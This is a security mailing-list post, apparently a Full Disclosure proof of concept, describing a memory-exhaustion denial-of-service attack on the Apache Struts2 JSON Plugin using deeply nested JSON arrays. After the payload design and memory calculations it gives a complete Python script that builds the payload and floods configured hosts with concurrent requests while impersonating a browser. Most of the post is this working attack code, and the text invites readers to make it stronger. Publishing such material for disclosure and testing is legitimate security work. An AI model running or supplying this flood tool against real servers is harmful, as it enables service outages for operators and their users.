Maximised JSON Array Attacks -- "Let the Commas Hit the Floor" Proof of Concept
Full Disclosuremailing list archivesFrom: Daniel Owens via Fulldisclosure <fulld 2026-10-29 04:11:44 Author: seclists.org(查看原文) 阅读量:16 收藏

fulldisclosure logo

Full Disclosure mailing list archives


From: Daniel Owens via Fulldisclosure <fulldisclosure () seclists org>
Date: Wed, 28 Oct 2026 05:30:20 +0000

On 29 August 2026, we released "Commas of D00m" -- an old proof of concept that demonstrates unconstrained resource 
consumption in many JSON parsers.  As recently discussed (in "Continued Apache Struts2 JSON Plugin Insecure 
Deserialisation"), the Apache Struts2 JSON Plugin's S2-072 and prior code changes fail to sufficiently protect against 
this style of attack.  In that write-up, we examined the code and the underlying, incomplete fixes, as well as marched 
through a series of basic mathematical analyses that illustrated the point - showing how a single <2MB JSON string can 
consume more than 10 times that in RAM and how, when run with rather modest concurrency, such a request can consume 
more than a GB of RAM.

As discussed in that write-up, for the sake of simplicity, an array-of-arrays of only 2 levels deep was chosen for the 
discussion, with several payload options discussed (and the desired end goal -- consumption of excessive CPU for a 
little less memory, shorter payloads, or more extreme memory consumption).  The following is the more "memory-hungry", 
more complex approach that better maximises the 2MB character length limit that the Apache Struts2 JSON Plugin applies 
(realistically, using an array-of-arrays of just 2 levels deep, the string can be under 1MB and consume over 40MB of 
RAM on a single query -- some queries can even get over 80GB per-request, but we'll save that as an exercise for the 
reader).

The Approach
A JSON nested JSON array with the following dimensions:

  *   Level 0 (root): an array with exactly 2 children
  *   Level 1: each of the children from the above array contains an array with exactly 8,256 children (a total of 
16,512 elements, at the moment)
  *   Levels 2-63: each of those 16,512 elements is a chain of 62 nested single-child arrays (`[[[[...]]]]`), with each 
level holding exactly one element
  *   Leaf: each chain terminates in an empty String `""`
Total: 16,512 chains, each exactly 62 singleton-array levels deep, fed by a 2 * 8256 fan-out at the top

Analysis
A single array can hold at most 10,000 direct children (`maxElements`), so an array-of-arrays with no other content 
will use 1,290,001 characters (of the 2,097,152 maximum) and consume roughly 48.6MB, leaving 807,151 characters unused 
simply because the depth and breadth limiters.  This means that, without having any "content" other than arrays, we can 
consume almost 50MB on a single request, which is pretty good considering we are only using ~1.3 million of the ~2 
million character budget.  A massive array-of-arrays with no actual data, though, is fairly noisy and, frankly, 50MB is 
small peanuts compared to what we can get with just a little bit of data.

Before we go further, we need to discuss something that was mentioned in the last write-up but that needs a little more 
explanation.  Java's default ArrayList capacity (which is the maximum number of elements that it can house and 
shouldn't be conflated with "size") is 10.  Most developers don't change this value and neither does the Apache Struts2 
JSON Plugin.  The cost of this, however, is not incurred, to its fullest, until the first `add(Object)` call is made -- 
once that happens, the backing array is allocated, costing 56 bytes (double that if not using the compressed oops, as 
discussed in the previous write-up).  After the first `add(Object)` call is made, the total cost of the ArrayList is 80 
bytes (for simplicity's sake, we're going to stick with the compressed oops and lowest possible values throughout the 
rest of this work -- this value can be more depending on the environment) regardless of if the array has 1 or 10 
elements in it (we'll ignore the automatic resizing in making that statement, just for the sake of argument).  This 
means that for the cost of simply two characters -- `[` and `]`, which is just two bytes in our input, we cost the 
server 80 bytes (which is 40 bytes/input character -- a massive win for the attacker).  The next best that we can do is 
an empty String, which has a 20 bytes/input character pay-off, which is significantly worse.  Adding elements to the 
array costs us at least one character -- `,` -- but we only see the ArrayList grow at key intervals, so it actually has 
a slightly worse bytes/input character pay-off overall.

Looking at the problem, we have ample room sideways -- 10,000 units left and right per element -- but are constrained 
along the y-axis by the 64-depth limit.  As width doesn't immediately equal a significant number of bytes consumed 
since the cost is stepped, it's best to go n-1 deep and then fill out the leaves, which means that we get maximum usage 
-- 82,785,552 bytes of RAM consumed on a single request (assume 64-bit HotSpot JVM running with compressed oops and 
8-byte alignment -- a standard configuration set) -- in the manner described in the above "The Approach" section.

In other words, by fanning out into empty Strings and using 40 concurrent requests, we can consume ~3.31GB of RAM on 
the host and maximise the 2MB input limit that Apache has put in place.

The Maths

  *   ArrayList: ~24B + backing Object array of capacity n
     *   Backing array: 16B + 4nB (rounded to 8 bytes by the JVM)
     *   On first `add(Object)` call, the backing array goes to 56B
     *   If hit rapidly and concurrently, garbage collection will not run (we'll take the worst case scenario, here, 
for simplicity), so growing an array to 10,000 elements (14,053 capacity) costs 168,944 bytes in backing arrays
  *   One singleton-chain level: 80B / 2 input characters = 40 bytes/input character
  *   One chain (62 levels + leaf): (62B * 80B) + 40B = 5,000B for (62 * 2) + 2 characters -- 126 characters (39.68 
bytes/input character)\
  *   16,512 chains: 82,560,000B
     *   two 8,256-wide level-2 arrays: 2 * 112,736 = 225,472B
     *   2-wide root: 80B
Add it all up and you get 82,785,552B on a single request.  Multiply that by 40 (40 concurrent requests) and you have 
~3.31GB residing in memory at any given time.  Stepped attacks, especially if paired with high-compute requests (again, 
boxing and unboxing requests are a great option), can dramatically increase that while allowing the attacker to 
decrease the number of requests/second.  Note that we leave such a trivial tweak to the PoC to the reader.

The Script
The following is a modernised version of Commas of D00m known as "Let the Commas Hit the Floor".

```python
#!/usr/bin/python3
# ---
# name: Nested-array depth overflow tester
# category: Testing and scanning
# tags: dos, payload, nested-array, recursion-depth, stack-overflow, json, flood, load, http
# description: Floods a host with concurrent deeply nested JSON arrays (2 root children x 8,256 nested children,
#   each a 62-level chain of single-element arrays terminating in an empty string) to probe JSON parser
#   recursion/stack-depth limits.
# placeholders:
#   - token: "@@HOSTS@@"
#     field: hosts
#     kind: list
#     format: python
#     label: Hosts
#   - token: "@@CONTENT_TYPE@@"
#     field: content_type
#     kind: text
#     label: Content-Type
#     default: application/json
#   - token: "@@PATH@@"
#     field: path
#     kind: text
#     label: Request path
#     optional: true
#     default: /
#   - token: "@@HEADERS@@"
#     field: headers
#     kind: map
#     format: python
#     label: Extra headers, like the cookie and authorisation headers
#     optional: true
#   - token: "@@PARALLEL_COUNT@@"
#     field: parallel_count
#     kind: text
#     label: Parallel count (concurrent threads)
#     optional: true
#     default: 40
#   - token: "@@TOTAL_CONNECTIONS@@"
#     field: total_number_of_connections
#     kind: text
#     label: Total connections
#     optional: true
#     default: 1000
#   - token: "@@RECREATE_PAYLOAD@@"
#     field: recreate_payload
#     kind: text
#     label: Recreate payload file (true/false)
#     optional: true
#     default: true
#   - token: "@@PAYLOAD_FILE@@"
#     field: payload_file
#     kind: text
#     label: Payload file
#     optional: true
#     default: prebuilt_payload_tmp
#   - token: "@@ROOT_CHILDREN@@"
#     field: root_children
#     kind: text
#     label: Root array children
#     optional: true
#     default: 2
#   - token: "@@LEVEL2_CHILDREN@@"
#     field: level2_children
#     kind: text
#     label: Level-2 array children (per root child)
#     optional: true
#     default: 8256
#   - token: "@@CHAIN_DEPTH@@"
#     field: chain_depth
#     kind: text
#     label: Nested single-child array chain depth (per slot)
#     optional: true
#     default: 62
#   - token: "@@LEAF_VALUE@@"
#     field: leaf_value
#     kind: text
#     label: Leaf value (terminates each chain)
#     optional: true
#     default:
#   - token: "@@REQUEST_TIMEOUT@@"
#     field: request_timeout
#     kind: text
#     label: Per-request timeout in seconds
#     optional: true
#     default: 10
# ---
"""Flood a host with deeply nested JSON arrays to probe recursion/stack-depth limits.

Builds a JSON array shaped as: a root array of 2 children, each a level-2 array of
8,256 children (16,512 slots total), where each slot is a chain of 62 nested
single-child arrays terminating in an empty-string leaf. This shape stresses a
server-side JSON parser's recursion/stack handling without relying on one single
pathologically deep structure. Fires the payload at each host with a configurable
amount of concurrency, tallying the status codes seen (413s and 5xx especially) and
logging any 5xx bodies to ``request-responses.txt``. A Content-Type and at least one
host are required.
Usage:
    python script.py
"""

import concurrent.futures
import json
import os
import time
from datetime import datetime, timezone

import requests

# REPLACE/ADJUST THESE
config = {
    'hosts': @@HOSTS@@,
    'paths': ['@@PATH@@' or '/'],
    'content_type': '@@CONTENT_TYPE@@' or 'application/json',
    'extra_headers': @@HEADERS@@,
    'parallel_count': int('@@PARALLEL_COUNT@@' or 40),
    'total_number_of_connections': int('@@TOTAL_CONNECTIONS@@' or 1000),
    'request_timeout': float('@@REQUEST_TIMEOUT@@' or 10),
    # Data for the payload generation
    'recreate_payload': ('@@RECREATE_PAYLOAD@@' or 'true').strip().lower() in ('1', 'true', 'yes'),
    'payload_file': '@@PAYLOAD_FILE@@' or 'prebuilt_payload_tmp',
    'root_children': int('@@ROOT_CHILDREN@@' or 2),
    'level2_children': int('@@LEVEL2_CHILDREN@@' or 8256),
    'chain_depth': int('@@CHAIN_DEPTH@@' or 62),
    'leaf_value': '@@LEAF_VALUE@@',
}

if not config['hosts']:
    raise ValueError('At least one host is required.')


def count_status_codes(responses, url):
    """
    Walks through the responses, logs any 5xx bodies (labelled with ``url`` so
    multi-host runs stay attributable), and counts the status codes

    Args:
        responses (list[Response]): List of response objects
        url (str): The URL these responses came from

    Returns:
        dict: A dictionary with counts for each of the status codes that we monitor
    """
    five_xx_responses = [r for r in responses if r is not None and 500 <= r.status_code < 600]
    if five_xx_responses:
        try:
            with open('request-responses.txt', 'a', encoding='utf-8', errors='replace') as f:
                for response in five_xx_responses:
                    f.write(f"Response from {url}:\n")
                    for header, value in response.headers.items():
                        f.write(f"{header}: {value}\n")
                    f.write(f"{response.text}\n")
                    f.write("-" * 50 + "\n")
            print(f"Successfully wrote {len(five_xx_responses)} response(s) to request-responses.txt")
        except Exception as e:
            print(f"Error writing to file: {str(e)}")

    return {
        '2xx': len([r for r in responses if r is not None and 200 <= r.status_code < 300]),
        '4xx': len([r for r in responses if r is not None and 400 <= r.status_code < 500]),
        '400': len([r for r in responses if r is not None and r.status_code == 400]),
        '402': len([r for r in responses if r is not None and r.status_code == 402]),
        '403': len([r for r in responses if r is not None and r.status_code == 403]),
        '404': len([r for r in responses if r is not None and r.status_code == 404]),
        '413': len([r for r in responses if r is not None and r.status_code == 413]),
        '429': len([r for r in responses if r is not None and r.status_code == 429]),
        '5xx': len(five_xx_responses),
        '500': len([r for r in responses if r is not None and r.status_code == 500]),
        '502': len([r for r in responses if r is not None and r.status_code == 502]),
        '503': len([r for r in responses if r is not None and r.status_code == 503]),
        '504': len([r for r in responses if r is not None and r.status_code == 504]),
        'failed': len([r for r in responses if r is None]),
    }


def get_payload(recreate_payload=False):
    """
    Grabs the payload that we are going to send: a root array of
    ``root_children`` children, each a level-2 array of ``level2_children``
    children, where each child is a chain of ``chain_depth`` nested
    single-child arrays terminating in ``leaf_value``.

    The chain is built as a string directly (rather than as a nested Python
    list passed to json.dumps) so that large chain_depth values aren't bounded
    by Python's own recursion limit.

    Args:
        recreate_payload (bool): Whether we should stomp over the payload file if it exists

    Returns:
        str: The payload to be sent
    """
    fingerprint = 
f"{config['root_children']}:{config['level2_children']}:{config['chain_depth']}:{config['leaf_value']}"
    fingerprint_file = config['payload_file'] + '.fingerprint'
    cached_fingerprint = None
    if os.path.exists(fingerprint_file):
        with open(fingerprint_file, 'r', encoding='utf-8') as file:
            cached_fingerprint = file.read()

    if recreate_payload or not os.path.exists(config['payload_file']) or cached_fingerprint != fingerprint:
        leaf_json = json.dumps(config['leaf_value'])
        chain_json = '[' * config['chain_depth'] + leaf_json + ']' * config['chain_depth']
        level2_json = '[' + ','.join([chain_json] * config['level2_children']) + ']'
        with open(config['payload_file'], 'w', encoding='utf-8') as file:
            file.write('[')
            file.write(','.join([level2_json] * config['root_children']))
            file.write(']')
        with open(fingerprint_file, 'w', encoding='utf-8') as file:
            file.write(fingerprint)

    with open(config['payload_file'], 'r', encoding='utf-8') as file:
        return file.read()


def make_request(url, data=None, cookie_string=None):
    try:
        headers = {
            'User-Agent': ('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '
                            '(KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36'),
            'Accept': 'application/json, text/javascript, */*; q=0.01',
        }
        # Caller-supplied headers first, then the required Content-Type so it wins.
        headers.update(config['extra_headers'] or {})
        headers['Content-Type'] = config['content_type']
        if cookie_string:
            headers['Cookie'] = cookie_string

        with requests.Session() as session:
            req = requests.Request(
                'POST',
                url,
                data=data if data else None,
                headers=headers,
            )
            prepared = session.prepare_request(req)
            response = session.send(prepared, timeout=config['request_timeout'])
        return response
    except Exception as e:
        print(f'Error (at {datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ")}): {e}')
        return None


def run_concurrent_requests(url, data, num_threads, num_runs, cookie_string=None):
    """
    Kicks off requests to run each query and then waits for the responses
    collecting them into a list

    Args:
        url (str): URL to make requests to
        data (str): The data to pass to the request
        num_threads (int): Number of threads to use
        num_runs (int): Number of requests to to make (in total)
        cookie_string (str): Any cookies to include

    Returns:
        list[Response]: A list of responses
    """
    with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
        futures = {executor.submit(make_request, url, data, cookie_string): i for i in range(num_runs)}
        responses = []
        for future in concurrent.futures.as_completed(futures):
            try:
                responses.append(future.result())
            except Exception:
                responses.append(None)
    return responses


def main():
    # Initialize/truncate output buffer safely
    try:
        with open('request-responses.txt', 'w', encoding='utf-8') as file:
            pass
    except IOError as e:
        print(f"[-] Warning: Cannot initialize response log file: {e}")

    # Running the attack
    print('Running the attack...')
    ## Probe JSON parser recursion/stack-depth limits with a deeply nested array
    payload = get_payload(recreate_payload=config['recreate_payload'])
    total_slots = config['root_children'] * config['level2_children']
    for host in config['hosts']:
        path = config['paths'][0]
        if host.startswith(('http://&apos;, 'https://&apos;)):
            url = f"{host.rstrip('/')}{path}"
        else:
            url = f"https://{host.rstrip('/')}{path}"
        print(
            f"Attacking {url} with a payload of size {len(payload)} bytes "
            f"({total_slots} nested chains, {config['chain_depth']} levels deep each)..."
        )

        start_time = time.time()
        responses = run_concurrent_requests(url, data=payload, num_threads=config['parallel_count'],
                                            num_runs=config['total_number_of_connections'])
        end_time = time.time()

        counts = count_status_codes(responses, url)

        # Print results
        if counts.get('failed', 0) > 0:
            print(f"  [-] {counts['failed']} requests dropped (Connection Timeout / Remote Reset)")

        if counts.get('4xx', 0) > 0:
            print(f"  [*] {counts['4xx']} HTTP 4xx responses observed:")
            for status in ['400', '403', '404']:
                if counts.get(status, 0) > 0:
                    print(f"      -> {status}: {counts[status]}")
            if counts.get('413', 0) > 0:
                print(f"      -> 413 (Payload Too Large): {counts['413']} *Action required: lower dimensions*")

        print(f"  [*] Rate Limiters: {counts.get('429', 0)} HTTP 429 (Too Many Requests) observed.")

        if counts.get('5xx', 0) > 0:
            print(f"  [!] {counts['5xx']} HTTP 5xx Server Errors observed (Potential Denial of Service):")
            for status in ['500', '502', '503', '504']:
                if counts.get(status, 0) > 0:
                    print(f"      -> {status}: {counts[status]}")

        attack_time = end_time - start_time
        if attack_time >= 1:
            print(
                f"    {int(attack_time)} seconds to perform the attack run (started at "
                f"{datetime.fromtimestamp(start_time, tz=timezone.utc).isoformat()} / ended at "
                f"{datetime.fromtimestamp(end_time, tz=timezone.utc).isoformat()})"
            )
        else:
            print(
                f"    {int(attack_time * 1000)} milliseconds to perform the attack run (started at "
                f"{datetime.fromtimestamp(start_time, tz=timezone.utc).isoformat()} / ended at "
                f"{datetime.fromtimestamp(end_time, tz=timezone.utc).isoformat()})"
            )
        print("-" * 50)
    print('Done with the attack -- check the logs')


if __name__ == "__main__":
    main()
```
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/


Current thread:

  • Maximised JSON Array Attacks -- "Let the Commas Hit the Floor" Proof of Concept Daniel Owens via Fulldisclosure (Oct 28)

文章来源: https://seclists.org/fulldisclosure/2026/Oct/50
如有侵权请联系:admin#unsafe.sh